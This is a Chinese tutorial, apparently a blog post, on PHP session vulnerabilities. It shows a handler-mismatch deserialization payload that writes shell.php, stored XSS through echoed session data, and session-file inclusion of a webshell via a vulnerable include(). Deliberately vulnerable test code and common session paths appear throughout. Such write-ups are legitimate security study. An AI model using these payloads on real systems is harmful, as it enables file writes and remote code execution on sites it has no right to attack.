序列化机制

基础知识

php的三种序列化机制

1
2
3
4
5
php_binary:键名的长度对应的ASCII字符+键名+键值经过serialize()函数序列化处理的值

php:键名+竖线+键值经过serialize()函数序列处理的值

php_serialize(php>5.5.4):经过serialize()函数序列化处理的值

如何设置序列化方式

1
2
ini_set('session.serialize_handler', '需要设置的引擎');
session_start('serialize_handler=需要设置的引擎')

看一下三种方式存储的结果

测试代码

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php_serialize');
#ini_set('session.serialize_handler', 'php');
#ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['user']=$_POST['user'];
?>

分别看一下三种方式产生的结果

1
2
3
a:1:{s:4:"user";s:4:"name";}  //php_serialize
user|s:4:"name"; //php
users:4:"name"; //php_binary最前面那里乱码了

分析过程

php_serialize这种存储方式恰好是类 数组等使用的一种序列化方式,但是就算输入类和数组,也会被当作字符串给序列化,然后存起来。无法达到反序列化攻击的目的。

但是php这种序列化方式 被| 给分成两部分,前面一部分是键名,后一部分是经过serialize序列化的数据,当反序列化时,先找到| ,把竖线|之前的当作键,竖线|之后的当作值,也就是说 通过一个竖线把结果分成两部分,而且还是互不影响的那种,

所以可以通过php_serialize传入值,在加上一个竖线| ,伪造这样一串数据,

1
s:5:"|code";

这串数据当被php这种序列化方式解析的时候,键就变成了 s:5:”| 值就变成了 code 也就是值不再被当作字符串,而是单独的一部分被反序列化

测试一下

测试代码

hint.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['user'] = $_POST['user'];
?>

hint2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
#ini_set('session.serialize_handler','php');
session_start();
class user{
public $test;

function __wakeup(){
$file = fopen("shell.php","w");
fputs($file,$this->test);
fclose($file);
}
}
?>

php默认是以php作为序列化方式的,所以上面那行代码可以不加

访问hint.php post以下内容

1
user=|O:4:"user":1:{s:4:"test";s:17:"<?php phpinfo()?>";}

session文件中的结果

1
a:1:{s:4:"user";s:52:"|O:4:"user":1:{s:4:"test";s:17:"<?php phpinfo()?>";}";}

再去访问一下hint2.php 触发反序列化

这里说明一下为什么最后的三个字符”;}不影响反序列化,当反序列化足够多的字符时,剩下的数据,会被抛弃 前面有s:17的字符个数限制,所以当反序列化17个字符的时候,后面的就被仍掉了

可以看到shell.php文件已经生成,访问一下看看

image

xss

测试代码

1
2
3
4
5
<?php
session_start();
$_SESSION['user'] = $_POST['user'];
?>
<?php echo "hello".$_SESSION['user'];?>

结果

image

防御

转义一下 就好了

1
htmlspecialchars($_SESSION['user'])

session包含

常见的session存放路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

这里的PHPSESSID就是cookie中的PHPSESSID,session会记录当前账号的一下信息,比如用户名,密码等

直接把用户名注册成一句话木马,然后利用文件包含去解析木马,就可以了,主要在于找到session的存放路径,

session的路径可以在phpinfo中查看,当然这里也受限于open_basedir disable_function

测试

测试代码

test.php

1
2
3
<?php
include($_GET['file']);
?>

hint.php

1
2
3
4
<?php
session_start();
$_SESSION['user'] = $_POST['user'];
?>

post hint.php

1
user=<?php phpinfo();?>

查一下phpsessid,直接去cookie里面看就行

j7cv8kptv1mitmsau95dm4svk7

session文件中的内容

1
user|s:18:"<?php phpinfo();?>";

包含一下

image